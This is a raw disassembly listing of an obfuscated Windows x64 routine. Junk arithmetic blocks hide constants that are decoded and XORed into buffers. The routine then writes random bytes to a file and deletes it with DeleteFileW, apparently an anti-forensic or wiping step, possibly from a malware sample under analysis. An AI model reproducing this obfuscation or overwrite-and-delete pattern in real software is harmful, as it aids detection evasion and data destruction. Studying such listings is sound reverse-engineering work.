rol eax, 0x20
popf
jmp 0x1400dffe8
push rax
pushf
mov eax, 0x904bc2f
pushf
not eax
add eax, 0xf8bd2ef2
xor eax, 0xd896b90c
rol eax, 0x8e
popf
pushf
not eax
add eax, 0x900d1669
xor eax, 0xcf19889d
rol eax, 0x27
popf
jmp 0x1400dffe8
mov qword [rbp + 0x90], r15
mov qword [rbp + 0x98], r12
mov qword [rbp + 0xa0], r13
movabs rax, 0x9913b1c7898c56db
pushf
not rax
add rax, 0x5530b0fd
xor rax, 0x7b87257e
rol rax, 1
popf
pushf
not rax
add rax, 0x6f3472bc
xor rax, 0x772d776e
rol rax, 0xee
popf
pushf
not rax
add rax, 0x5df0f356
xor rax, 0x61a79583
rol rax, 0x6b
popf
mov qword [rbp + 0xa8], rax
movabs rax, 0xb9edece8e515c0ec
pushf
not rax
add rax, 0x6c75dcb4
xor rax, 0x4472bceb
rol rax, 0xc
popf
pushf
not rax
add rax, 0x650a2110
xor rax, 0x4d455466
rol rax, 0x64
popf
pushf
not rax
add rax, 0x7343afbb
xor rax, 0x7912befe
rol rax, 0x59
popf
mov qword [rbp + 0xb0], rax
movabs rax, 0xd7ce4fb80a4c03fd
pushf
not rax
add rax, 0x7a11384f
xor rax, 0x507ae8f0
rol rax, 0x88
popf
pushf
not rax
add rax, 0x4be2e0d4
xor rax, 0x4da6f22a
rol rax, 0x5b
popf
pushf
not rax
add rax, 0x6999ab98
xor rax, 0x4db203d7
rol rax, 0xe
popf
pushf
not rax
add rax, 0x63c66b92
xor rax, 0x44ef1a9d
rol rax, 0xc9
popf
mov qword [rbp + 0xb8], rax
movabs rax, 0x99a1d749f38a2c3e
pushf
not rax
add rax, 0x4abaf578
xor rax, 0x5f0b6fb7
rol rax, 0x8d
popf
pushf
not rax
add rax, 0x4baff2f5
xor rax, 0x4296ddc7
rol rax, 0xed
popf
mov qword [rbp + 0xc0], rax
movabs rax, 0x9eb4097e0e3dbece
pushf
not rax
add rax, 0x4de79642
xor rax, 0x5ce2034e
rol rax, 0xff
popf
pushf
not rax
add rax, 0x7eb4fd77
xor rax, 0x46f7dc6b
rol rax, 0xea
popf
pushf
not rax
add rax, 0x77c59195
xor rax, 0x4d678396
rol rax, 0xed
popf
mov qword [rbp + 0xc8], rax
movabs rax, 0xb223bc1ee12fa5f1
pushf
not rax
add rax, 0x6be1938e
xor rax, 0x70d00d4e
rol rax, 0x54
popf
pushf
not rax
add rax, 0x40cd46c1
xor rax, 0x42f3bd49
rol rax, 8
popf
pushf
not rax
add rax, 0x6ad31c90
xor rax, 0x41fb02f8
rol rax, 0xb7
popf
mov qword [rbp + 0xd0], rax
movabs rax, 0x8fd7bc6cc83b5194
pushf
not rax
add rax, 0x7b16e772
xor rax, 0x636a89cb
rol rax, 0x63
popf
pushf
not rax
add rax, 0x55aa247b
xor rax, 0x7490816d
rol rax, 0xbc
popf
pushf
not rax
add rax, 0x7b89e69f
xor rax, 0x5ff638a1
rol rax, 0x4d
popf
mov qword [rbp + 0xd8], rax
mov qword [rbp + 0xf0], rsi
mov qword [rbp + 0xf8], rdi
movabs rax, 0x6128cbdb595b85d7
pushf
not rax
add rax, 0x67f470d2
xor rax, 0x451101c4
rol rax, 0xf
popf
pushf
not rax
add rax, 0x43019107
xor rax, 0x665b1255
rol rax, 0x36
popf
pushf
not rax
add rax, 0x76b5d15f
xor rax, 0x79a3c786
rol rax, 0x32
popf
pushf
not rax
add rax, 0x4038dbd5
xor rax, 0x4f8c9630
rol rax, 0xac
popf
mov qword [rbp + 0x100], rax
movabs rax, 0x7bd1285f0a9c11e2
pushf
not rax
add rax, 0x4a860221
xor rax, 0x64a6ab09
rol rax, 0x67
popf
pushf
not rax
add rax, 0x6d1ef006
xor rax, 0x5d3b8e33
rol rax, 0xe6
popf
pushf
not rax
add rax, 0x6277c2cc
xor rax, 0x7e4579a5
rol rax, 0x59
popf
mov qword [rbp + 0x108], rax
movabs rax, 0x56b540ff941e571b
pushf
not rax
add rax, 0x7e3f3cfc
xor rax, 0x796753a5
rol rax, 0xab
popf
pushf
not rax
add rax, 0x67836a71
xor rax, 0x797b53d2
rol rax, 0xb2
popf
pushf
not rax
add rax, 0x5a59e517
xor rax, 0x72878aeb
rol rax, 0xaf
popf
mov qword [rbp + 0x110], rax
movabs rax, 0xf6ae439ef9b5aadc
pushf
not rax
add rax, 0x48a04061
xor rax, 0x70e5aedf
rol rax, 0x10
popf
pushf
not rax
add rax, 0x5b33924a
xor rax, 0x563156a0
rol rax, 0x5d
popf
pushf
not rax
add rax, 0x4e48c632
xor rax, 0x48b3804c
rol rax, 0xe2
popf
mov qword [rbp + 0x118], rax
movabs rax, 0xf1cf16eb16cf22ea
pushf
not rax
add rax, 0x468102b0
xor rax, 0x55dbc7f9
rol rax, 0xf4
popf
pushf
not rax
add rax, 0x7369ad17
xor rax, 0x5f8404e1
rol rax, 0x39
popf
pushf
not rax
add rax, 0x48c9fdfe
xor rax, 0x5db3dfa1
rol rax, 0xc1
popf
pushf
not rax
add rax, 0x60c92c7d
xor rax, 0x6cb5bee7
rol rax, 0xc4
popf
mov qword [rbp + 0x120], rax
movabs rax, 0xc9a00c1edf3c9840
pushf
not rax
add rax, 0x68de7779
xor rax, 0x5ae2716a
rol rax, 0xf
popf
pushf
not rax
add rax, 0x7e0fa8a2
xor rax, 0x68b52524
rol rax, 0xc
popf
pushf
not rax
add rax, 0x713ad80f
xor rax, 0x73082032
rol rax, 0x2e
popf
pushf
not rax
add rax, 0x5ffbfbe5
xor rax, 0x51af2ddd
rol rax, 0x7a
popf
mov qword [rbp + 0x128], rax
movabs rax, 0x6faef580766577b1
pushf
not rax
add rax, 0x5e65e08c
xor rax, 0x7d79a823
rol rax, 0xb1
popf
pushf
not rax
add rax, 0x5baa0164
xor rax, 0x74f3ac00
rol rax, 0xe0
popf
pushf
not rax
add rax, 0x53ecbe5b
xor rax, 0x7ed970ca
rol rax, 0x77
popf
mov qword [rbp + 0x130], rax
mov qword [rbp + 0x138], r14
movdqa xmm0, xmmword [rbp + 0x90]
xorps xmm0, xmmword [rbp + 0xf0]
movdqa xmmword [rbp + 0x90], xmm0
movdqa xmm1, xmmword [rbp + 0xa0]
xorps xmm1, xmmword [rbp + 0x100]
movdqa xmmword [rbp + 0xa0], xmm1
movdqa xmm0, xmmword [rbp + 0xb0]
xorps xmm0, xmmword [rbp + 0x110]
movdqa xmmword [rbp + 0xb0], xmm0
movdqa xmm1, xmmword [rbp + 0x120]
xorps xmm1, xmmword [rbp + 0xc0]
movdqa xmmword [rbp + 0xc0], xmm1
movdqa xmm0, xmmword [rbp + 0x130]
xorps xmm0, xmmword [rbp + 0xd0]
movdqa xmmword [rbp + 0xd0], xmm0
lea rcx, [rbp + 0x90]
call fcn.1400d383e
push rax
pushf
mov eax, 0xba5f1270
pushf
not eax
add eax, 0xa8917a3e
xor eax, 0x9cbf9633
rol eax, 0x9a
popf
pushf
not eax
add eax, 0xa1c94fec
xor eax, 0xa76f1824
rol eax, 0x2c
popf
jmp 0x1400dffe8
mov rcx, qword [rbx]
cmp rcx, 0xffffffffffffffff
je 0x1400e1f23
push rax
pushf
mov eax, 0xd9d2a9fc
pushf
not eax
add eax, 0xc2d7b770
xor eax, 0xd06aa1d1
rol eax, 7
popf
pushf
not eax
add eax, 0xf82678d4
xor eax, 0xbe30007c
rol eax, 0x1c
popf
pushf
not eax
add eax, 0xe3980035
xor eax, 0xa30f22b0
rol eax, 0xed
popf
pushf
not eax
add eax, 0xa3d605d4
xor eax, 0xc2f4f5bc
rol eax, 0x89
popf
jmp 0x1400dffe8
push rax
pushf
mov eax, 0x3883c822
pushf
not eax
add eax, 0xd08b04fd
xor eax, 0x9df539dd
rol eax, 0x4a
popf
pushf
not eax
add eax, 0xd41e7dde
xor eax, 0x8c0a61c3
rol eax, 0x41
popf
jmp 0x1400dffe8
call qword [sym.imp.KERNEL32.dll_CloseHandle]
push rax
pushf
mov eax, 0xb9cd4585
pushf
not eax
add eax, 0x87b0992a
xor eax, 0xec64e245
rol eax, 0xa4
popf
pushf
not eax
add eax, 0xe242e974
xor eax, 0x85d3532e
rol eax, 0x27
popf
pushf
not eax
add eax, 0xbfd54e71
xor eax, 0xb5892692
rol eax, 0x7d
popf
jmp 0x1400dffe8
lea rdx, [rsp + 0x40]
mov rcx, rbx
call fcn.14011f4b2
nop
mov rdx, rax
call fcn.1400f3bc6
mov r14d, eax
mov rdx, qword [rsp + 0x58]
cmp rdx, 7
jbe 0x1400e1ffa
push rax
pushf
mov eax, 0x4ba986c
pushf
not eax
add eax, 0xbcf23156
xor eax, 0x8aed7aee
rol eax, 0x51
popf
pushf
not eax
add eax, 0xa6110052
xor eax, 0xe2029c9c
rol eax, 0xb9
popf
jmp 0x1400dffe8
push rax
pushf
mov eax, 0x5e4f095f
pushf
not eax
add eax, 0x939b5c82
xor eax, 0xfde2df96
rol eax, 0x36
popf
pushf
not eax
add eax, 0xd960577e
xor eax, 0xd4cc6527
rol eax, 0x4b
popf
pushf
not eax
add eax, 0xf27a051a
xor eax, 0xe0421952
rol eax, 0x4e
popf
jmp 0x1400dffe8
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400e20b2
push rax
pushf
mov eax, 0x96299298
pushf
not eax
add eax, 0xb82ec8a1
xor eax, 0xe7a333c5
rol eax, 0x1e
popf
pushf
not eax
add eax, 0x99d5b614
xor eax, 0x933c285b
rol eax, 0xf4
popf
pushf
not eax
add eax, 0xd370f860
xor eax, 0xfc3e3a94
rol eax, 0x8c
popf
pushf
not eax
add eax, 0xafd8a24f
xor eax, 0xfebbf256
rol eax, 0xc9
popf
jmp 0x1400dffe8
push rax
pushf
mov eax, 0x72574630
pushf
not eax
add eax, 0xde25f76e
xor eax, 0x87db40e8
rol eax, 0xe
popf
pushf
not eax
add eax, 0xef2e8a21
xor eax, 0x9c03ec33
rol eax, 0x17
popf
pushf
not eax
add eax, 0x90229bbc
xor eax, 0xfbd33e4a
rol eax, 0xcd
popf
jmp 0x1400dffe8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400e2140
push rax
pushf
mov eax, 0xa81e2124
pushf
not eax
add eax, 0xfc8abf1c
xor eax, 0x9fee0f66
rol eax, 0x8d
popf
pushf
not eax
add eax, 0xa56023e8
xor eax, 0xd30dea74
rol eax, 2
popf
jmp 0x1400dffe8
push rax
pushf
mov eax, 0xccebd8be
pushf
not eax
add eax, 0xedfa0246
xor eax, 0xdf752103
rol eax, 0xd8
popf
pushf
not eax
add eax, 0xfa00bf2e
xor eax, 0xc42a8f19
rol eax, 0xc4
popf
pushf
not eax
add eax, 0xb8ac2077
xor eax, 0xa61f6f6b
rol eax, 0x1a
popf
jmp 0x1400dffe8
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400dff78
push rax
pushf
mov eax, 0x54617519
pushf
not eax
add eax, 0x9f0b8151
xor eax, 0x89897fdf
rol eax, 0x3b
popf
pushf
not eax
add eax, 0xc0151cce
xor eax, 0xf9fc012e
rol eax, 0x25
popf
jmp 0x1400dffe8
test r14d, r14d
js 0x1400e225b
push rax
pushf
mov eax, 0xb6a0bdbb
pushf
not eax
add eax, 0xdca33297
xor eax, 0x99cfcd91
rol eax, 0xe3
popf
pushf
not eax
add eax, 0xaa554e2b
xor eax, 0xdf8d8445
rol eax, 0xdd
popf
pushf
not eax
add eax, 0xc52db514
xor eax, 0xb6b17421
rol eax, 0xd0
popf
jmp 0x1400dffe8
push rax
pushf
mov eax, 0xf1eb0daa
pushf
not eax
add eax, 0x8c2089a6
xor eax, 0xde6a8566
rol eax, 0xca
popf
pushf
not eax
add eax, 0xfab13059
xor eax, 0xa432aff8
rol eax, 0xe1
popf
pushf
not eax
add eax, 0xad6fe7a8
xor eax, 0xf067ac28
rol eax, 0xb9
popf
jmp 0x1400dffe8
movabs rax, 0xf2365c748fd921ae
pushf
not rax
add rax, 0x63361b62
xor rax, 0x75fe1bdc
rol rax, 0xd6
popf
pushf
not rax
add rax, 0x69e94ba9
xor rax, 0x67536c43
rol rax, 0xbf
popf
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], rdi
mov qword [rbp + 0x150], rsi
mov qword [rbp + 0x158], rdi
movdqa xmm0, xmmword [rbp + 0x150]
xorps xmm0, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x30], xmm0
lea rdx, [rsp + 0x40]
mov rcx, rbx
call fcn.1400cb309
nop
lea r8, [rsp + 0x30]
mov rdx, rax
lea rcx, [rsp + 0x60]
call fcn.14012ed0c
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 7
jbe 0x1400e2363
push rax
pushf
mov eax, 0x4e9a695a
pushf
not eax
add eax, 0x8d06498a
xor eax, 0xbbcf71d9
rol eax, 0x68
popf
pushf
not eax
add eax, 0xc9904977
xor eax, 0xb4fe52f1
rol eax, 5
popf
jmp 0x1400dffe8
push rax
pushf
mov eax, 0x2e759d6
pushf
not eax
add eax, 0xcf9b078d
xor eax, 0xe251ea5b
rol eax, 0xae
popf
pushf
not eax
add eax, 0x800a2dd7
xor eax, 0xbdf4ebca
rol eax, 0x3e
popf
pushf
not eax
add eax, 0xa6556744
xor eax, 0x9036e4ce
rol eax, 0x6c
popf
jmp 0x1400dffe8
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400e241b
push rax
pushf
mov eax, 0x90d111b0
pushf
not eax
add eax, 0xd21413a1
xor eax, 0x96174f03
rol eax, 0x52
popf
pushf
not eax
add eax, 0xc6e95f03
xor eax, 0xc1495ab3
rol eax, 0x3d
popf
pushf
not eax
add eax, 0xe0a5339d
xor eax, 0x90b18dc2
rol eax, 0xe1
popf
pushf
not eax
add eax, 0xdcb7274d
xor eax, 0xccac9b50
rol eax, 0xee
popf
jmp 0x1400dffe8
push rax
pushf
mov eax, 0x4dc1d31f
pushf
not eax
add eax, 0xe75fbf1e
xor eax, 0xd042c34a
rol eax, 0x39
popf
pushf
not eax
add eax, 0xcad96432
xor eax, 0x8e106fdb
rol eax, 0xa
popf
pushf
not eax
add eax, 0xa39b62ad
xor eax, 0xda583e25
rol eax, 0x43
popf
pushf
not eax
add eax, 0x87641708
xor eax, 0x8611b012
rol eax, 4
popf
jmp 0x1400dffe8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400e24e2
push rax
pushf
mov eax, 0x9ebf53d1
pushf
not eax
add eax, 0xbdb3e8c8
xor eax, 0xb9aebde4
rol eax, 0x4a
popf
pushf
not eax
add eax, 0x9d43d989
xor eax, 0xb9991198
rol eax, 0xa3
popf
pushf
not eax
add eax, 0x9eb91437
xor eax, 0x9ffbbdc5
rol eax, 0x4e
popf
pushf
not eax
add eax, 0xdbadf1d3
xor eax, 0xda560773
rol eax, 0x67
popf
jmp 0x1400dffe8
push rax
pushf
mov eax, 0xef538df
pushf
not eax
add eax, 0xf93ac8a9
xor eax, 0x913e293d
rol eax, 0x29
popf
pushf
not eax
add eax, 0x8ba9a3fa
xor eax, 0x945bbb57
rol eax, 0xbe
popf
jmp 0x1400dffe8
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400dff78
push rax
pushf
mov eax, 0xbfa75de4
pushf
not eax
add eax, 0x99ee5229
xor eax, 0x9e19820f
rol eax, 0x3c
popf
pushf
not eax
add eax, 0xf2ab1cb8
xor eax, 0xa2e52398
rol eax, 0xbc
popf
pushf
not eax
add eax, 0xc259d42c
xor eax, 0xab12c11e
rol eax, 0xd4
popf
pushf
not eax
add eax, 0xe97f52fa
xor eax, 0xbf651ac3
rol eax, 0x81
popf
jmp 0x1400dffe8
xor ebx, ebx
mov qword [rsp + 0x50], rbx
mov qword [rsp + 0x58], 7
mov word [rsp + 0x40], bx
cmp qword [rsp + 0x70], rbx
jne 0x1400e2649
push rax
pushf
mov eax, 0x5183aafb
pushf
not eax
add eax, 0xd7350f4a
xor eax, 0xfe8ddda3
rol eax, 0xbe
popf
pushf
not eax
add eax, 0xdf46c2c4
xor eax, 0xe528325e
rol eax, 0x38
popf
pushf
not eax
add eax, 0xe783989a
xor eax, 0xbfbe5f14
rol eax, 0x91
popf
pushf
not eax
add eax, 0xb408a5dd
xor eax, 0xe465c89c
rol eax, 0x6e
popf
jmp 0x1400dffe8
push rax
pushf
mov eax, 0x40f6ee59
pushf
not eax
add eax, 0xbe891a25
xor eax, 0xa65456a1
rol eax, 0xf5
popf
pushf
not eax
add eax, 0x81bbe063
xor eax, 0xc56a296f
rol eax, 0xf6
popf
pushf
not eax
add eax, 0x9bb9e97e
xor eax, 0xdcb5beea
rol eax, 0xb8
popf
jmp 0x1400dffe8
mov r14d, 0xffd6460c
pushf
not r14d
add r14d, 0x9c7963b1
xor r14d, 0xd1d4652d
rol r14d, 0x22
popf
pushf
not r14d
add r14d, 0xdeca53d4
xor r14d, 0xa8ec71de
rol r14d, 0xba
popf
jmp 0x1400e2cb2
xor edx, edx
mov r8d, 0xde2075eb
pushf
not r8d
add r8d, 0xa0c99a96
xor r8d, 0xb05529c7
rol r8d, 0x62
popf
pushf
not r8d
add r8d, 0xbe26bc5f
xor r8d, 0xf23602a9
rol r8d, 0x19
popf
lea rcx, [rbp - 0x80]
call sub.VCRUNTIME140.dll_memset
lea rdx, [rsp + 0x60]
cmp qword [rsp + 0x78], 7
cmova rdx, qword [rsp + 0x60]
lea rcx, [rbp - 0x80]
call fcn.1401161a3
nop
jmp 0x1400e2784
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
movsxd rcx, eax
movabs rax, 0x3e7540567cce967
pushf
not rax
add rax, 0x6a65ec4b
xor rax, 0x636ec4d6
rol rax, 0xb2
popf
pushf
not rax
add rax, 0x511042ad
xor rax, 0x4d41acf8
rol rax, 0x2b
popf
pushf
not rax
add rax, 0x4e84a809
xor rax, 0x59c09c3f
rol rax, 0xea
popf
imul rcx
sar rdx, 0x12
mov rax, rdx
shr rax, 0x3f
push rax
not rax
sub rdx, rax
pop rax
sub rdx, 1
imul rax, rdx, 0x23d6df
sub rcx, rax
add ecx, 0xdd9d
movsxd rsi, ecx
mov rcx, rsi
call fcn.14012dd25
mov rdi, rax
test rsi, rsi
je 0x1400e2872
push rax
pushf
mov eax, 0xe2db46fd
pushf
not eax
add eax, 0xcc7a2c5d
xor eax, 0xfddfa775
rol eax, 0xdd
popf
pushf
not eax
add eax, 0xf9d0271c
xor eax, 0xcc4fac96
rol eax, 0x3c
popf
pushf
not eax
add eax, 0xde3ca9f6
xor eax, 0xdd454719
rol eax, 0x49
popf
pushf
not eax
add eax, 0xbaa5cb62
xor eax, 0xefde3b4a
rol eax, 0xc5
popf
jmp 0x1400dffe8
push rax
pushf
mov eax, 0x98d32f16
pushf
not eax
add eax, 0xf574849c
xor eax, 0xd87b8b2b
rol eax, 0x62
popf
pushf
not eax
add eax, 0xb2405d58
xor eax, 0xf779e3bf
rol eax, 0xb
popf
pushf
not eax
add eax, 0xa3b4bc19
xor eax, 0xbbaba8c6
rol eax, 0x81
popf
jmp 0x1400dffe8
nop
push rax
pushf
mov eax, 0x7b31bdd8
pushf
not eax
add eax, 0xd0f06cc8
xor eax, 0xd221bacf
rol eax, 0x1e
popf
pushf
not eax
add eax, 0xfee062c2
xor eax, 0xdd589db9
rol eax, 0xcc
popf
jmp 0x1400dffe8
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov r9d, eax
mov eax, 0xf41f9d97
pushf
not eax
add eax, 0xfe344bc0
xor eax, 0xb9bbe994
rol eax, 0x4f
popf
pushf
not eax
add eax, 0xc3982a5b
xor eax, 0xf9aa09c7
rol eax, 0x2c
popf
pushf
not eax
add eax, 0x976ca881
xor eax, 0xb4978071
rol eax, 0xe1
popf
pushf
not eax
add eax, 0xac36980e
xor eax, 0xe186f320
rol eax, 0x63
popf
imul r9d
push r9
not r9d
sub edx, r9d
pop r9
sub edx, 1
sar edx, 7
mov ecx, edx
shr ecx, 0x1f
push rcx
not ecx
sub edx, ecx
pop rcx
sub edx, 1
imul ecx, edx, 0xff
sub r9d, ecx
mov byte [rdi + rbx], r9b
inc rbx
cmp rbx, rsi
jb 0x1400e29d6
push rax
pushf
mov eax, 0xee28e703
pushf
not eax
add eax, 0xb737847c
xor eax, 0x8556af31
rol eax, 0x26
popf
pushf
not eax
add eax, 0xd2066503
xor eax, 0x877a8726
rol eax, 0x6d
popf
pushf
not eax
add eax, 0xbd70628e
xor eax, 0x9a305fc5
rol eax, 0xfe
popf
pushf
not eax
add eax, 0xc3e3496d
xor eax, 0x9189701e
rol eax, 0x8f
popf
jmp 0x1400dffe8
push rax
pushf
mov eax, 0xe66d3e03
pushf
not eax
add eax, 0xa12f5e28
xor eax, 0xb2e7e3af
rol eax, 0x42
popf
pushf
not eax
add eax, 0xa35ff3f7
xor eax, 0xad16a9e8
rol eax, 0x20
popf
pushf
not eax
add eax, 0xd9f2e809
xor eax, 0x8b43e8f1
rol eax, 0x96
popf
pushf
not eax
add eax, 0x94080d1d
xor eax, 0xce393740
rol eax, 0x52
popf
jmp 0x1400dffe8
mov r8, rsi
mov rdx, rdi
lea rcx, [rbp - 0x80]
jmp 0x1400e2a3a
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
lea rcx, [rbp - 0x78]
call fcn.140134ed3
test rax, rax
jne 0x1400e2aa7
push rax
pushf
mov eax, 0xe064d884
pushf
not eax
add eax, 0xb50b4128
xor eax, 0xff19f5c5
rol eax, 0xe6
popf
pushf
not eax
add eax, 0xbc527f18
xor eax, 0xaff876b5
rol eax, 0xaa
popf
pushf
not eax
add eax, 0xe9fa2671
xor eax, 0x90d63f1e
rol eax, 0xf1
popf
pushf
not eax
add eax, 0x870c8400
xor eax, 0x8f146b0e
rol eax, 2
popf
jmp 0x1400dffe8
push rax
pushf
mov eax, 0xe57e6a35
pushf
not eax
add eax, 0xd33588c4
xor eax, 0xafd25f26
rol eax, 0xde
popf
pushf
not eax
add eax, 0xbb439c51
xor eax, 0xed85af00
rol eax, 0x6c
popf
pushf
not eax
add eax, 0xb2266b4d
xor eax, 0xb20806da
rol eax, 0xac
popf
jmp 0x1400dffe8
mov rax, qword [rbp - 0x80]
movsxd rcx, dword [rax + 4]
lea rax, [rbp - 0x80]
push rax
not rax
sub rcx, rax
pop rax
sub rcx, 1
xor r8d, r8d
lea edx, [r8 + 2]
jmp 0x1400e2b0d
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
push rax
pushf
mov eax, 0xd5c2600a
pushf
not eax
add eax, 0x96a9a677
xor eax, 0xef7f3a74
rol eax, 0x88
popf
pushf
not eax
add eax, 0xa4bc2f14
xor eax, 0xdf48cf08
rol eax, 0xa1
popf
pushf
not eax
add eax, 0xf626b20d
xor eax, 0xd6ef3a2c
rol eax, 0x6f
popf
pushf
not eax
add eax, 0xd69bace6
xor eax, 0xf48b0168
rol eax, 0x35
popf
jmp 0x1400dffe8
mov rcx, rdi
call fcn.1400dff78
push rax
pushf
mov eax, 0x8b1f9fbd
pushf
not eax
add eax, 0x8b316184
xor eax, 0xb4e82632
rol eax, 0x4e
popf
pushf
not eax
add eax, 0xe7a8d11c
xor eax, 0xc9f924bd
rol eax, 0x7e
popf
pushf
not eax
add eax, 0xdf921e28
xor eax, 0xb67ebc4f
rol eax, 0xb3
popf
jmp 0x1400dffe8
lea rcx, [rsp + 0x60]
cmp qword [rsp + 0x78], 7
cmova rcx, qword [rsp + 0x60]
jmp 0x1400e2bcc
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
je 0x1400e2c09
push rax
pushf
mov eax, 0xb48f3aa5
pushf
not eax
add eax, 0xabc7c997
xor eax, 0xeb97e1dd
rol eax, 0x28
popf
pushf
not eax
add eax, 0xbd6fb7df
xor eax, 0x8e008bcd
rol eax, 0x81
popf
jmp 0x1400dffe8
push rax
pushf
mov eax, 0x1305ad87
pushf
not eax
add eax, 0x848f78e5
xor eax, 0x956bb807
rol eax, 0xa6
popf
pushf
not eax
add eax, 0xbad13a5b
xor eax, 0xb9de466a
rol eax, 0x35
popf
pushf
not eax
add eax, 0xadf07895
xor eax, 0xe808dc4a
rol eax, 0x95
popf
pushf
not eax
add eax, 0xf11fb0d2
xor eax, 0xcddc20ce
rol eax, 0x83
popf
jmp 0x1400dffe8
mov rax, qword [rbp - 0x80]
movsxd rcx, dword [rax + 4]
lea rax, [0x186dc9508]
pushf
sub rax, 0x46d44750
popf
mov qword [rbp + rcx - 0x80], rax
mov rax, qword [rbp - 0x80]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rsp + rcx + 0x7c], edx
lea rcx, [rbp - 0x78]
call fcn.1400fa28f
lea rcx, [rbp - 0x70]
jmp 0x1400e2ca0
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x28]
jmp 0x1400e2cab
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
mov rdx, qword [rsp + 0x78]
cmp rdx, 7
jbe 0x1400e2cf0
push rax
pushf
mov eax, 0x25f92fc1
pushf
not eax
add eax, 0xedf8b571
xor eax, 0x9edc1a07
rol eax, 0xfe
popf
pushf
not eax
add eax, 0xa4e21d88
xor eax, 0x8e9935dd
rol eax, 0xff
popf
jmp 0x1400dffe8
push rax
pushf
mov eax, 0x6cdf4fea
pushf
not eax
add eax, 0xe1600686
xor eax, 0xd91d10cb
rol eax, 0x50
popf
pushf
not eax
add eax, 0x82140622
xor eax, 0xf618e524
rol eax, 0x2b
popf
pushf
not eax
add eax, 0xbbd8ced8
xor eax, 0x9debcd6b
rol eax, 0x44
popf
jmp 0x1400dffe8
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400e2da8
push rax
pushf
mov eax, 0x63ae6416
pushf
not eax
add eax, 0xc9a24852
xor eax, 0xaa26420a
rol eax, 0xbd
popf
pushf
not eax
add eax, 0xbb75f078
xor eax, 0xf789b641
rol eax, 0x44
popf
pushf
not eax
add eax, 0xc1f6ab09
xor eax, 0xe22b79db
rol eax, 0xbc
popf
pushf
not eax
add eax, 0x8d75730f
xor eax, 0xe26726b1
rol eax, 0x18
popf
jmp 0x1400dffe8
push rax
pushf
mov eax, 0x5b289b8f
pushf
not eax
add eax, 0xc55847c8
xor eax, 0xab89442c
rol eax, 0xbf
popf
pushf
not eax
add eax, 0xece55dfd
xor eax, 0xd91a05b6
rol eax, 0x88
popf
pushf
not eax
add eax, 0xc9a0dab7
xor eax, 0xbdb49451
rol eax, 0x1c
popf
jmp 0x1400dffe8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400e2e36
push rax
pushf
mov eax, 0xcea357ce
pushf
not eax
add eax, 0xcdbbcd5b
xor eax, 0xd97bed41
rol eax, 0x7e
popf
pushf
not eax
add eax, 0xfb895438
xor eax, 0xb1f06a44
rol eax, 0x5b
popf
jmp 0x1400dffe8
push rax
pushf
mov eax, 0xcbce02ae
pushf
not eax
add eax, 0xc237f070
xor eax, 0xbb33bfbb
rol eax, 0xee
popf
pushf
not eax
add eax, 0xf5aa048e
xor eax, 0xe92b2de4
rol eax, 0xb8
popf
pushf
not eax
add eax, 0xe6264b62
xor eax, 0x8fe21833
rol eax, 0xb5
popf
pushf
not eax
add eax, 0x8d94a927
xor eax, 0xa6c0f9b1
rol eax, 0x61
popf
jmp 0x1400dffe8
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400dff78
push rax
pushf
mov eax, 0x10c22682
pushf
not eax
add eax, 0xa1fc3265
xor eax, 0xf14f6907
rol eax, 0x8d
popf
pushf
not eax
add eax, 0x83b5fb16
xor eax, 0xc5594f07
rol eax, 0xa9
popf
jmp 0x1400dffe8
mov eax, r14d
mov rcx, qword [rbp + 0x160]
xor rcx, rsp
call fcn.140108cb2
lea r11, [rsp + 0x270]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret